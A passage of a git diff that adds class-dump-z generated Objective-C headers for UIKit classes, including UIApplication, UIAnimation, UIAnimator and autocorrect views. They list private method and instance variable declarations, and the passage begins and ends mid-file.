+-(int)titleMaxLineCount; +-(void)setBodyTextMaxLineCount:(int)count; +-(int)bodyMaxLineCount; +-(id)addTextFieldWithValue:(id)value label:(id)label; +-(id)textFieldAtIndex:(int)index; +-(int)textFieldCount; +-(id)textField; +-(void)_alertSheetTextFieldReturn:(id)aReturn; +-(id)keyboard; +-(void)setDefaultButton:(id)button; +-(id)defaultButton; +-(void)setDestructiveButton:(id)button; +-(id)destructiveButton; +-(id)_addButtonWithTitle:(id)title label:(id)label buttonClass:(Class)aClass; +-(id)addButtonWithTitle:(id)title label:(id)label; +-(id)_addButtonWithTitle:(id)title; +-(id)addButtonWithTitle:(id)title buttonClass:(Class)aClass; +-(int)buttonCount; +-(id)buttonAtIndex:(int)index; +-(void)setContext:(id)context; +-(id)context; +-(void)_buttonClicked:(id)clicked; +-(void)_cleanupAfterPopupAnimation; +-(void)setTableShouldShowMinimumContent:(BOOL)showMinimumContent; +-(BOOL)tableShouldShowMinimumContent; +-(id)table; +-(BOOL)_needsKeyboard; +-(void)setShowsOverSpringBoardAlerts:(BOOL)alerts; +-(BOOL)showsOverSpringBoardAlerts; +-(void)_performPopup:(BOOL)popup animationType:(int)type; +-(void)_performPopup:(BOOL)popup; +-(void)_growAnimationDidStop:(id)_growAnimation finished:(id)finished; +-(void)_bubbleAnimationShrinkDidStop:(id)_bubbleAnimationShrink finished:(id)finished; +-(void)_bubbleAnimationNormalDidStop:(id)_bubbleAnimationNormal finished:(id)finished; +-(void)_jiggleStage1AnimationDidStop:(id)_jiggleStage1Animation finished:(id)finished; +-(void)_jiggleStage2AnimationDidStop:(id)_jiggleStage2Animation finished:(id)finished; +-(void)_jiggleStage3AnimationDidStop:(id)_jiggleStage3Animation finished:(id)finished; +-(void)_jiggleStage4AnimationDidStop:(id)_jiggleStage4Animation finished:(id)finished; +-(void)_jiggleStage5AnimationDidStop:(id)_jiggleStage5Animation finished:(id)finished; +-(void)_jiggleStage6AnimationDidStop:(id)_jiggleStage6Animation finished:(id)finished; +-(BOOL)_isAnimating; +-(void)_popoutAnimationDidStop:(id)_popoutAnimation finished:(id)finished; +-(void)_performPopoutAnimationAnimated:(BOOL)animated; +-(void)_repopup; +-(BOOL)_dimsBackground; +-(BOOL)_canShowAlerts; +-(void)_removeAlertWindowOrShowAnOldAlert; +-(void)_temporarilyHideAnimated:(BOOL)animated; +-(void)_updateFrameForDisplay; +-(void)_rotatingAnimationDidStop:(id)_rotatingAnimation; +-(void)layoutAnimated:(BOOL)animated; +-(BOOL)isBodyTextTruncated; +-(void)_layoutPopupAlertWithOrientation:(int)orientation animated:(BOOL)animated; +-(void)_layoutIfNeeded; +-(void)_adjustLabelFontSizes; +-(void)popupAlertAnimated:(BOOL)animated animationType:(int)type atOffset:(float)offset; +-(void)popupAlertAnimated:(BOOL)animated atOffset:(float)offset; +-(void)popupAlertAnimated:(BOOL)animated animationType:(int)type; +-(void)popupAlertAnimated:(BOOL)animated; +-(void)rePopupAlertAfterRotation; +-(void)_presentSheetFromView:(id)view above:(BOOL)above; +-(void)presentSheetFromBehindView:(id)behindView; +-(void)presentSheetFromAboveView:(id)aboveView; +-(void)presentSheetInView:(id)view; +-(void)presentSheetToAboveView:(id)aboveView; +-(void)setDimView:(id)view; +-(id)_dimView; +-(void)_presentSheetStartingFromYCoordinate:(double)ycoordinate; +-(void)_slideSheetOut:(BOOL)anOut; +-(void)dismiss; +-(void)dismissAnimated:(BOOL)animated; +-(CGSize)backgroundSize; +-(float)_titleVerticalTopInset; +-(float)_titleVerticalBottomInset; +-(float)_titleHorizontalInset; +-(float)_bottomVerticalInset; +-(void)drawRect:(CGRect)rect; +-(void)_appSuspended:(id)suspended; +-(void)_alertSheetAnimationDidStop:(id)_alertSheetAnimation finished:(id)finished; +-(void)setNumberOfRows:(int)rows; +-(int)numberOfRows; +-(int)alertSheetStyle; +-(void)setAlertSheetStyle:(int)style; +-(void)setDimsBackground:(BOOL)background; +-(BOOL)dimsBackground; +-(void)setSuspendTag:(int)tag; +-(int)suspendTag; +-(void)setBlocksInteraction:(BOOL)interaction; +-(BOOL)blocksInteraction; +-(void)setRunsModal:(BOOL)modal; +-(BOOL)runsModal; +-(CGRect)titleRect; +-(float)_maxHeight; +-(float)_buttonHeight; +-(int)numberOfLinesInTitle; +-(void)layout; +-(void)presentSheetFromButtonBar:(id)buttonBar; +-(void)_prepareForDisplay; +-(void)replaceAlert:(id)alert; +-(void)_prepareToBeReplaced; +@end + diff --git a/igor/headers/dumpedUIKit/UIAlphaAnimation.h b/igor/headers/dumpedUIKit/UIAlphaAnimation.h new file mode 100644 index 0000000..3d2f47e --- /dev/null +++ b/igor/headers/dumpedUIKit/UIAlphaAnimation.h @@ -0,0 +1,21 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIAnimation.h" + + +@interface UIAlphaAnimation : UIAnimation { + float _startAlpha; + float _endAlpha; +} +-(void)setStartAlpha:(float)alpha; +-(void)setEndAlpha:(float)alpha; +-(float)_alphaForMultiplier:(float)multiplier; +-(void)setProgress:(float)progress; +-(float)alphaForFraction:(float)fraction; +@end + diff --git a/igor/headers/dumpedUIKit/UIAnimation.h b/igor/headers/dumpedUIKit/UIAnimation.h new file mode 100644 index 0000000..15b1c76 --- /dev/null +++ b/igor/headers/dumpedUIKit/UIAnimation.h @@ -0,0 +1,48 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import "UIAnimation.h" +#import + + +@interface UIAnimation : NSObject { + id _target; + SEL _action; + id _delegate; + struct { + unsigned curve : 4; + unsigned tvOutput : 1; + unsigned reserved : 27; + } _animationFlags; +@private + double _startTime; + double _duration; + int _state; +} +-(id)initWithTarget:(id)target; +-(void)stopAnimation; +-(id)target; +-(void)setDelegate:(id)delegate; +-(id)delegate; +-(void)setAction:(SEL)action; +-(SEL)action; +-(void)setAnimationCurve:(int)curve; +-(void)setProgress:(float)progress; +-(float)progressForFraction:(float)fraction; +-(void)dealloc; +@end + +@interface UIAnimation (Internal) +-(int)state; +-(BOOL)tvOutput; +-(void)setDuration:(double)duration; +-(float)fractionForTime:(double)time; +-(void)markStart:(double)start; +-(void)markStop; +@end + diff --git a/igor/headers/dumpedUIKit/UIAnimator.h b/igor/headers/dumpedUIKit/UIAnimator.h new file mode 100644 index 0000000..00040d8 --- /dev/null +++ b/igor/headers/dumpedUIKit/UIAnimator.h @@ -0,0 +1,40 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import +#import "UIAnimator.h" + +@class NSMutableArray; + +@interface UIAnimator : NSObject { + NSMutableArray* _animations; + double _lastUpdateTime; + GSHeartbeatRef _lcdHeartbeat; + GSHeartbeatRef _tvHeartbeat; + int _lcdCount; + int _tvCount; +} ++(id)sharedAnimator; ++(void)disableAnimation; ++(void)enableAnimation; +-(void)dealloc; +-(void)addAnimation:(id)animation withDuration:(double)duration start:(BOOL)start; +-(void)addAnimations:(id)animations withDuration:(double)duration start:(BOOL)start; +-(void)removeAnimationsForTarget:(id)target; +-(void)removeAnimationsForTarget:(id)target ofKind:(Class)kind; +-(void)startAnimation:(id)animation; +-(void)stopAnimation:(id)animation; +-(float)fractionForAnimation:(id)animation; +@end + +@interface UIAnimator (Static) +-(void)_addAnimation:(id)animation withDuration:(double)duration start:(BOOL)start startTime:(double)time; +-(void)_startAnimation:(id)animation withStartTime:(double)startTime; +-(void)_advance:(BOOL)advance; +@end + diff --git a/igor/headers/dumpedUIKit/UIApplication.h b/igor/headers/dumpedUIKit/UIApplication.h new file mode 100644 index 0000000..4886789 --- /dev/null +++ b/igor/headers/dumpedUIKit/UIApplication.h @@ -0,0 +1,410 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import "UIActionSheetDelegate.h" +#import "UIApplication.h" +#import "UIResponder.h" + +@class UIWindow, NSMutableSet, UIEvent, NSArray, NSTimer; +@protocol UIApplicationDelegate; + +@interface UIApplication : UIResponder { +@private + id _delegate; + CFDictionaryRef _touchMap; + NSMutableSet* _exclusiveTouchWindows; + UIEvent* _event; + UIEvent* _touchesEvent; + UIEvent* _motionEvent; + NSArray* _topLevelNibObjects; + int _orientation; + int _networkResourcesCurrentlyLoadingCount; + NSTimer* _hideNetworkActivityIndicatorTimer; + id _editAlertView; + struct { + unsigned isActive : 1; + unsigned isSuspended : 1; + unsigned isSuspendedEventsOnly : 1; + unsigned isLaunchedSuspended : 1; + unsigned isHandlingURL : 1; + unsigned isHandlingRemoteNotification : 1; + unsigned statusBarMode : 8; + unsigned statusBarShowsProgress : 1; + unsigned blockInteractionEvents : 4; + unsigned forceExit : 1; + unsigned receivesMemoryWarnings : 1; + unsigned showingProgress : 1; + unsigned receivesPowerMessages : 1; + unsigned launchEventReceived : 1; + unsigned isAnimatingSuspensionOrResumption : 1; + unsigned isSuspendedUnderLock : 1; + unsigned shouldExitAfterSendSuspend : 1; + unsigned terminating : 1; + unsigned isHandlingShortCutURL : 1; + unsigned idleTimerDisabled : 1; + unsigned statusBarStyle : 4; + unsigned statusBarHidden : 1; + unsigned statusBarOrientation : 3; + unsigned deviceOrientation : 3; + unsigned delegateShouldBeReleasedUponSet : 1; + unsigned delegateHandleOpenURL : 1; + unsigned delegateDidReceiveMemoryWarning : 1; + unsigned delegateWillTerminate : 1; + unsigned delegateSignificantTimeChange : 1; + unsigned delegateWillChangeInterfaceOrientation : 1; + unsigned delegateDidChangeInterfaceOrientation : 1; + unsigned delegateWillChangeStatusBarFrame : 1; + unsigned delegateDidChangeStatusBarFrame : 1; + unsigned delegateDeviceAccelerated : 1; + unsigned delegateDeviceChangedOrientation : 1; + unsigned delegateDidBecomeActive : 1; + unsigned delegateWillResignActive : 1; + unsigned idleTimerDisableActive : 1; + unsigned userDefaultsSyncDisabled : 1; + unsigned doubleHeightMode : 4; + unsigned headsetButtonClickCount : 4; + unsigned isHeadsetButtonDown : 1; + unsigned isFastForwardActive : 1; + unsigned isRewindActive : 1; + unsigned disableViewGroupOpacity : 1; + unsigned disableViewEdgeAntialiasing : 1; + unsigned shakeToEdit : 1; + unsigned ignoreHeadsetClicks : 1; + } _applicationFlags; +} +@property(assign, nonatomic) BOOL applicationSupportsShakeToEdit; +@property(assign, nonatomic) int applicationIconBadgeNumber; +@property(readonly, assign, nonatomic) CGRect statusBarFrame; +@property(readonly, assign, nonatomic) double statusBarOrientationAnimationDuration; +@property(assign, nonatomic) int statusBarOrientation; +@property(assign, nonatomic, getter=isStatusBarHidden) BOOL statusBarHidden; +@property(assign, nonatomic) int statusBarStyle; +@property(assign, nonatomic, getter=isNetworkActivityIndicatorVisible) BOOL networkActivityIndicatorVisible; +@property(readonly, assign, nonatomic) NSArray* windows; +@property(readonly, assign, nonatomic) UIWindow* keyWindow; +@property(assign, nonatomic, getter=isIdleTimerDisabled) BOOL idleTimerDisabled; +@property(assign, nonatomic) id delegate; ++(id)sharedApplication; ++(BOOL)isRunningInStoreDemoMode; ++(BOOL)shouldMakeUIForDefaultPNG; ++(void)_startWindowServerIfNecessary; ++(BOOL)isRunningEventPump; ++(BOOL)registerForSystemEvents; ++(BOOL)rendersLocally; ++(id)stringForStatusBarStyle:(int)statusBarStyle; ++(int)statusBarStyleForString:(id)string; ++(int)interfaceOrientationForString:(id)string; ++(id)stringForInterfaceOrientation:(int)interfaceOrientation; +-(id)init; +-(void)dealloc; +-(BOOL)shouldLaunchSafe; +-(BOOL)firstLaunchAfterBoot; +-(void)_setDelegate:(id)delegate assumeOwnership:(BOOL)ownership; +-(void)beginIgnoringInteractionEvents; +-(void)endIgnoringInteractionEvents; +-(BOOL)isIgnoringInteractionEvents; +-(BOOL)_isActivated; +-(void)_setActivated:(BOOL)activated; +-(void)_performInitializationWithURL:(id)url sourceBundleID:(id)anId; +-(void)_installAutoreleasePoolsIfNecessaryForMode:(CFStringRef)mode; +-(void)_run; +-(void)_reportAppLaunchFinished; +-(void)_runWithURL:(id)url sourceBundleID:(id)anId; +-(void)_registerForDoubleHeightModeChangeNotification; +-(void)_registerForAlertItemStateChangeNotification; +-(void)_registerForSignificantTimeChangeNotification; +-(void)_registerForLanguageChangedNotification; +-(void)_registerForLocaleChangedNotification; +-(void)_registerForTimeChangedNotification; +-(void)_unregisterForSignificantTimeChangeNotification; +-(void)_unregisterForLanguageChangedNotification; +-(void)_unregisterForLocaleChangedNotification; +-(void)_unregisterForTimeChangedNotification; +-(void)_loadMainNibFile; +-(void)pushRunLoopMode:(id)mode; +-(void)popRunLoopMode:(id)mode; +-(void)sendAction:(SEL)action fromSender:(id)sender toTarget:(id)target forEvent:(GSEventRef)event; +-(BOOL)sendAction:(SEL)action toTarget:(id)target fromSender:(id)sender forEvent:(id)event; +-(BOOL)sendAction:(SEL)action to:(id)to from:(id)from forEvent:(id)event; +-(void)_setStatusBarStyle:(int)style orientation:(int)orientation animated:(BOOL)animated; +-(void)setStatusBarStyle:(int)style animated:(BOOL)animated; +-(void)setStatusBarHidden:(BOOL)hidden animated:(BOOL)animated; +-(void)setStatusBarOrientation:(int)orientation animated:(BOOL)animated; +-(CGRect)_statusBarFrameForMode:(int)mode orientation:(int)orientation; +-(void)_setDoubleHeightMode:(int)mode; +-(void)setDoubleHeightMode:(int)mode glowAnimationEnabled:(BOOL)enabled; +-(void)setDoubleHeightMode:(int)mode; +-(int)doubleHeightMode; +-(void)setDoubleHeightPrefixText:(id)text; +-(void)setDoubleHeightStatusText:(id)text; +-(void)applicationWillSuspend; +-(void)applicationWillSuspendForEventsOnly; +-(void)applicationWillSuspendUnderLock; +-(void)applicationDidBeginSuspendAnimation; +-(void)applicationDidEndResumeAnimation; +-(void)applicationDidResumeFromUnderLock; +-(void)applicationDidResume; +-(void)applicationDidResumeForEventsOnly; +-(void)applicationWillTerminate; +-(void)_setSuspended:(BOOL)suspended; +-(BOOL)isSuspended; +-(BOOL)isSuspendedEventsOnly; +-(BOOL)isSuspendedUnderLock; +-(void)_setSuspendedEventsOnly:(BOOL)only; +-(void)_setSuspendedUnderLock:(BOOL)lock; +-(BOOL)isAnimatingSuspensionOrResumption; +-(BOOL)_isLaunchedSuspended; +-(void)suspend; +-(void)suspendReturningToLastApp:(BOOL)lastApp; +-(unsigned)_portForEvent:(GSEventRef)event; +-(void)applicationSuspended:(GSEventRef)suspended; +-(void)applicationSuspendedSettingsUpdated:(GSEventRef)updated; +-(void)applicationExited:(GSEventRef)exited; +-(void)anotherApplicationFinishedLaunching:(GSEventRef)launching; +-(void)lockButtonDown:(GSEventRef)down; +-(void)lockButtonUp:(GSEventRef)up; +-(void)headsetButtonDown:(GSEventRef)down; +-(void)headsetButtonUp:(GSEventRef)up; +-(void)headsetAvailabilityChanged:(GSEventRef)changed; +-(void)menuButtonDown:(GSEventRef)down; +-(void)menuButtonUp:(GSEventRef)up; +-(void)statusBarMouseDown:(GSEventRef)down; +-(void)statusBarMouseDragged:(GSEventRef)dragged; +-(void)statusBarMouseUp:(GSEventRef)up; +-(void)ringerChanged:(int)changed; +-(void)volumeChanged:(GSEventRef)changed; +-(void)acceleratedInX:(float)x Y:(float)y Z:(float)z; +-(void)deviceOrientationChanged:(GSEventRef)changed; +-(void)proximityStateChanged:(BOOL)changed; +-(void)accessoryAvailabilityChanged:(GSEventRef)changed; +-(void)_handleAccessoryKeyStateChanged:(GSEventRef)changed; +-(void)accessoryKeyStateChanged:(GSEventRef)changed; +-(void)accessoryEvent:(GSEventRef)event; +-(void)handleOutOfLineDataResponse:(id)lineDataResponse requestID:(unsigned)anId; +-(void)handleOutOfLineDataRequest:(GSEventRef)lineDataRequest; +-(void)lockDevice:(GSEventRef)device; +-(void)quitTopApplication:(GSEventRef)application; +-(void)resetIdleDuration:(double)duration; +-(void)resetIdleTimer; +-(unsigned)simpleRemoteRoutingPriority; +-(void)setSimpleRemoteRoutingPriority:(unsigned)priority; +-(void)_postSimpleRemoteNotificationForAction:(int)action; +-(void)_handleHeadsetButtonDown:(GSEventRef)down; +-(void)_handleHeadsetButtonUp:(GSEventRef)up; +-(void)_handleHeadsetButtonClick; +-(void)_handleHeadsetButtonDoubleClick; +-(void)_handleHeadsetButtonTripleClick; +-(void)_terminateWithStatus:(int)status; +-(void)terminateWithSuccess; +-(void)applicationSuspend:(GSEventRef)suspend; +-(void)_sendApplicationSuspend:(GSEventRef)suspend; +-(void)updateSuspendedSettings:(id)settings; +-(void)applicationResume:(GSEventRef)resume; +-(id)roleID; +-(id)displayIdentifier; +-(BOOL)_canOpenURL:(id)url publicURLsOnly:(BOOL)only; +-(BOOL)openURL:(id)url; +-(BOOL)canOpenURL:(id)url; +-(void)applicationOpenToShortCut:(id)shortCut; +-(void)applicationOpenURL:(id)url; +-(void)_applicationOpenURL:(id)url event:(GSEventRef)event; +-(BOOL)isHandlingOpenShortCut; +-(void)_setHandlingURL:(BOOL)url url:(id)url2; +-(BOOL)isHandlingURL; +-(BOOL)isHandlingRemoteNotification; +-(void)showTTYPromptForNumber:(id)number withID:(int)anId; +-(void)showNetworkPromptsIfNecessary:(BOOL)necessary; +-(void)setUsesBackgroundNetwork:(BOOL)network; +-(BOOL)usesBackgroundNetwork; +-(id)userHomeDirectory; +-(id)userLibraryDirectory; +-(CGRect)applicationSnapshotRectForOrientation:(int)orientation; +-(CGImageRef)_createDefaultImageSnapshot; +-(void)_writeApplicationDefaultPNGSnapshot; +-(id)nameOfDefaultImageToUpdateAtSuspension; +-(id)pathToDefaultImageNamed:(id)defaultImageNamed; +-(void)_updateDefaultImage; +-(void)prepareForDefaultImageSnapshot; +-(void)removeDefaultImage:(id)image; +-(BOOL)_isInteractionEvent:(GSEventRef)event; +-(BOOL)_isTouchEvent:(GSEventRef)event; +-(BOOL)_isSimulatorMotionEvent:(GSEventRef)event; +-(BOOL)launchApplicationWithIdentifier:(id)identifier suspended:(BOOL)suspended; +-(void)_runSpringboardCommand:(id)command; +-(void)addStatusBarImageNamed:(id)named removeOnExit:(BOOL)exit; +-(void)addStatusBarImageNamed:(id)named; +-(void)removeStatusBarImageNamed:(id)named; +-(void)setApplicationBadgeString:(id)string; +-(void)addWebClipToHomeScreen:(id)homeScreen; +-(BOOL)homeScreenCanAddIcons; +-(CGRect)statusBarRect; +-(void)_fetchInfoPlistFlags; +-(int)orientation; +-(int)statusBarMode; +-(void)_setStatusBarMode:(int)mode; +-(int)_frontMostAppOrientation; +-(void)_setTouchMap:(CFDictionaryRef)map; +-(CFDictionaryRef)_touchMap; +-(id)_event; +-(id)_touchesEvent; +-(id)_motionEvent; +-(void)_sendMotionBegan:(int)began; +-(void)_sendMotionEnded:(int)ended; +-(void)_sendMotionCancelled:(int)cancelled; +-(void)_showEditAlertView; +-(void)alertView:(id)view clickedButtonAtIndex:(int)index; +-(void)alertView:(id)view didDismissWithButtonIndex:(int)buttonIndex; +-(void)alertViewCancel:(id)cancel; +-(void)motionEnded:(int)ended withEvent:(id)event; +-(id)_exclusiveTouchWindows; +-(BOOL)_isTrackingAnyTouch; +-(void)_setUserDefaultsSyncEnabled:(BOOL)enabled; +-(void)_prepareToSetStatusBarMode:(int)setStatusBarMode orientation:(int)orientation duration:(float)duration; +-(void)_finishedSettingStatusBarMode:(int)mode oldMode:(int)mode2 newOrientation:(int)orientation oldOrientation:(int)orientation4; +-(BOOL)_useDoubleHeightStatusBarForMode:(int)mode orientation:(int)orientation; +-(float)currentStatusBarHeightForMode:(int)mode orientation:(int)orientation; +-(int)_getCurrentStatusBarOrientationFromSB; +-(void)setStatusBarMode:(int)mode orientation:(int)orientation duration:(float)duration fenceID:(int)anId animation:(int)animation startTime:(double)time; +-(void)setStatusBarMode:(int)mode orientation:(int)orientation duration:(float)duration fenceID:(int)anId animation:(int)animation; +-(void)setStatusBarMode:(int)mode orientation:(int)orientation duration:(float)duration fenceID:(int)anId; +-(void)setStatusBarMode:(int)mode orientation:(int)orientation duration:(float)duration; +-(void)setStatusBarMode:(int)mode duration:(float)duration; +-(void)setStatusBarCustomText:(id)text; +-(void)removeStatusBarCustomText; +-(void)_setStatusBarShowsProgress:(BOOL)progress; +-(void)setStatusBarShowsProgress:(BOOL)progress; +-(BOOL)_usesEmoji; +-(void)setIgnoresInteractionEvents:(BOOL)events; +-(BOOL)ignoresInteractionEvents; +-(unsigned)blockInteractionEventsCount; +-(void)significantTimeChange; +-(void)batteryStatusDidChange:(id)batteryStatus; +-(void)_handleUserDefaultsDidChange:(id)_handleUserDefaults; +-(void)userDefaultsDidChange:(id)userDefaults; +-(void)_clearTouchesForView:(id)view; +-(void)_cancelCurrentTouchEvent; +-(void)_registerForUserDefaultsChanges; +-(void)_unregisterForUserDefaultsChanges; +-(void)vibrateForDuration:(int)duration; +-(void)setBacklightFactor:(int)factor; +-(void)setBacklightLevel:(float)level; +-(void)setProximitySensorEnabled:(BOOL)enabled; +-(void)setSuspensionAnimationDelay:(double)delay; +-(void)setSystemVolumeHUDEnabled:(BOOL)enabled forAudioCategory:(id)audioCategory; +-(void)setSystemVolumeHUDEnabled:(BOOL)enabled; +-(void)_dumpUIHierarchy:(GSEventRef)hierarchy; +-(void)_dumpScreenContents:(GSEventRef)contents; +-(void)_processScriptEvent:(GSEventRef)event; +-(void)_performMemoryWarning; +-(void)didReceiveMemoryWarning; +-(void)didReceiveUrgentMemoryWarningSuspendedAndWillTerminate; +-(void)_receivedMemoryNotification; +-(void)setReceivesMemoryWarnings:(BOOL)warnings; +-(void)_registerForDisplayOnOff; +-(void)_unregisterForDisplayOnOff; +-(void)didTurnOnDisplay; +-(void)didTurnOffDisplay; +-(void)_noteStatusBarHeightChanged:(float)changed fence:(int)fence; +-(void)statusBarWillAnimateToHeight:(float)statusBar duration:(double)duration fence:(int)fence; +-(void)_purgeSharedInstances; +-(void)_playbackTimerCallback:(id)callback; +-(void)_startPlaybackTimer; +-(void)_addRecorder:(id)recorder; +-(void)_removeRecorder:(id)recorder; +-(void)_playbackEvents:(id)events atPlaybackRate:(float)playbackRate messageWhenDone:(id)done withSelector:(SEL)selector; +-(int)lastEventType; +-(void)_cancelGestureRecognizers:(id)recognizers; +-(void)_cancelGestureRecognizersForView:(id)view; +-(void)_cancelTouches:(id)touches withEvent:(id)event sendingTouchesCancelled:(BOOL)cancelled includingGestures:(BOOL)gestures; +-(void)_cancelAllTouches; +-(void)_cancelEvent:(id)event forWindow:(id)window; +-(void)_cancelEvent:(id)event; +-(BOOL)_shouldHandleTestURL:(id)url; +-(BOOL)handleEvent:(GSEventRef)event; +-(BOOL)handleEvent:(GSEventRef)event withNewEvent:(id)newEvent; +-(void)sendEvent:(id)event; +-(void)setUIOrientation:(int)orientation; +-(void)setExpectsFaceContact:(BOOL)contact; +-(void)applicationWillOrderInContext:(unsigned)application windowLevel:(float)level windowOutput:(int)output; +-(void)applicationDidOrderOutContext:(unsigned)application; +-(void)_sendOrderedOutContexts; +-(void)didDismissMiniAlert; +-(void)willDisplayMiniAlert:(int*)alert; +-(void)willDismissMiniAlert:(int*)alert andShowAnother:(BOOL)another; +-(void)setHasMiniAlerts:(BOOL)alerts; +-(BOOL)isLocked; +-(BOOL)isPasscodeRequiredToUnlock; +-(void)requestDeviceUnlock; +-(BOOL)canShowAlerts; +-(id)displayIDForURLScheme:(id)urlscheme isPublic:(BOOL)aPublic; +-(int)alertOrientation; +-(void)runModal:(id)modal; +-(void)stopModal; +-(BOOL)_supportsShakesWhenNotActive; +-(int)enabledRemoteNotificationTypes; +-(void)registerForRemoteNotificationTypes:(int)remoteNotificationTypes; +-(void)unregisterForRemoteNotifications; +-(BOOL)_isViewGroupOpacityDisabled; +-(BOOL)_isViewEdgeAntialiasingDisabled; +-(void)_hideNetworkActivityIndicator; +-(void)_beginShowingNetworkActivityIndicator; +-(void)_endShowingNetworkActivityIndicator; +-(void)_setIgnoreHeadsetClicks:(BOOL)clicks; +-(BOOL)_shouldIgnoreHeadsetClicks; +@end + +@interface UIApplication (UIApplicationDeprecated) +@property(assign, nonatomic, getter=isProximitySensingEnabled) BOOL proximitySensingEnabled; +@end + +@interface UIApplication (UIApplicationTesting) +-(BOOL)launchedToTest; +-(BOOL)runTest:(id)test options:(id)options; +-(BOOL)reportApplicationSuspended; +-(id)_pathForFrameworkName:(id)frameworkName inPrivate:(BOOL)aPrivate; +-(void*)_getSymbol:(id)symbol forFramework:(id)framework; +-(BOOL)isRunningTest; +-(void)startedTest:(id)test; +-(CFMessagePortRef)_purplePPTServerPort; +-(void)_reportResults:(id)results; +-(void)finishedTest:(id)test extraResults:(id)results; +-(void)finishedTest:(id)test; +-(void)failedTest:(id)test; +-(BOOL)handleTestURL:(id)url; +-(void)startCHUDRecording:(id)recording; +-(void)stopCHUDRecording; +-(void)enableFramebufferStatisticsGathering; +-(void)_leak; +-(void)startLeaking; +-(void)stopLeaking; +@end + +@interface UIApplication (UIAlertSheetAppAdditions) +-(void)_alertSheetStackChanged; +@end + +@interface UIApplication (UIKitApplicationAccessibility) +-(BOOL)_accessibilityCaptureSimulatorEvent:(GSEventRef)event; +-(BOOL)_accessibilitySettingsLoaderPresent; +-(id)_accessibilitySettingsBundle; +-(void)_updateAccessibilityItunesSettings; +-(void)_updateAccessibilitySettingsLoader; +-(BOOL)_accessibilityApplicationIsSystemWideServer; +-(Class)_accessibilityBundlePrincipalClass; +-(void)_updateApplicationAccessibility; +-(void)_accessibilityInit; +-(void)_accessibilityStatusChanged:(id)changed; +@end + +@interface UIApplication (UIApplication_RemoteSheet) +-(void)beginRemoteSheet:(id)sheet delegate:(id)delegate didEndSelector:(SEL)selector contextInfo:(void*)info; +-(void)endRemoteSheet:(id)sheet; +-(void)endRemoteSheet:(id)sheet returnCode:(int)code; +-(void)_sheetWithRemoteIdentifierDidDismiss:(id)_sheetWithRemoteIdentifier; +@end + diff --git a/igor/headers/dumpedUIKit/UIAutocorrectImageView.h b/igor/headers/dumpedUIKit/UIAutocorrectImageView.h new file mode 100644 index 0000000..076c315 --- /dev/null +++ b/igor/headers/dumpedUIKit/UIAutocorrectImageView.h @@ -0,0 +1,24 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import "UIView.h" + +@class UIImage; + +__attribute__((visibility("hidden"))) +@interface UIAutocorrectImageView : UIView { +@private + UIImage* m_image; +} ++(id)imageWithMaskingView:(id)maskingView maskingRect:(CGRect)rect; +-(id)initWithFrame:(CGRect)frame image:(id)image; +-(id)initWithFrame:(CGRect)frame string:(id)string font:(id)font; +-(void)dealloc; +-(void)drawRect:(CGRect)rect; +@end + diff --git a/igor/headers/dumpedUIKit/UIAutocorrectInlinePrompt.h b/igor/headers/dumpedUIKit/UIAutocorrectInlinePrompt.h new file mode 100644 index 0000000..397236c --- /dev/null +++ b/igor/headers/dumpedUIKit/UIAutocorrectInlinePrompt.h @@ -0,0 +1,81 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIView.h" +#import "UIKeyboardCandidateList.h" +#import "UIKit-Structs.h" + +@class NSString; + +__attribute__((visibility("hidden"))) +@interface UIAutocorrectInlinePrompt : UIView { +@private + CGRect m_originalTypedTextRect; + NSString* m_typedText; + NSString* m_correction; + UIView* m_typedTextView; + UIView* m_correctionView; + UIView* m_correctionAnimationView; + UIView* m_typedTextAnimationView; + UIView* m_correctionShadowView; + BOOL m_fits; + BOOL m_mouseDown; + id m_delegate; + unsigned m_index; + int m_promptTextType; +} +-(id)initWithFrame:(CGRect)frame; +-(int)textEffectsVisibilityLevel; +-(void)dealloc; +-(void)removePromptSubviews; +-(CGRect)shadowFrameForFrame:(CGRect)frame; +-(void)setUIKeyboardCandidateListDelegate:(id)delegate; +-(void)setCandidates:(id)candidates inlineText:(id)text inlineRect:(CGRect)rect maxX:(float)x layout:(BOOL)layout; +-(void)setCandidates:(id)candidates type:(int)type inlineText:(id)text inlineRect:(CGRect)rect maxX:(float)x layout:(BOOL)layout; +-(unsigned)currentIndex; +-(void)candidateAcceptedAtIndex:(unsigned)index; +-(unsigned)count; +-(void)configureKeyboard:(id)keyboard; +-(void)layout; +-(void)showCandidateAtIndex:(unsigned)index; +-(void)showNextCandidate; +-(void)showPageAtIndex:(unsigned)index; +-(void)showNextPage; +-(void)showPreviousPage; +-(id)currentCandidate; +-(id)candidateAtIndex:(unsigned)index; +-(void)setCorrection:(id)correction typedText:(id)text inRect:(CGRect)rect maxX:(float)x; +-(void)setCandidateObject:(id)object type:(int)type typedText:(id)text inRect:(CGRect)rect maxX:(float)x; +-(BOOL)isAcceptableTextEffectsFrame:(CGRect)frame afterScrollBy:(float)by; +-(float)maximumCandidateWidth; +-(CGRect)horizontallySquishedCorrectionFrame:(CGRect)frame; +-(CGRect)correctionFrameFromDesiredFrame:(CGRect)desiredFrame textHeight:(int)height withExtraGap:(float)extraGap; +-(id)correction; +-(id)typedText; +-(id)typedTextView; +-(id)correctionView; +-(id)correctionAnimationView; +-(id)typedTextAnimationView; 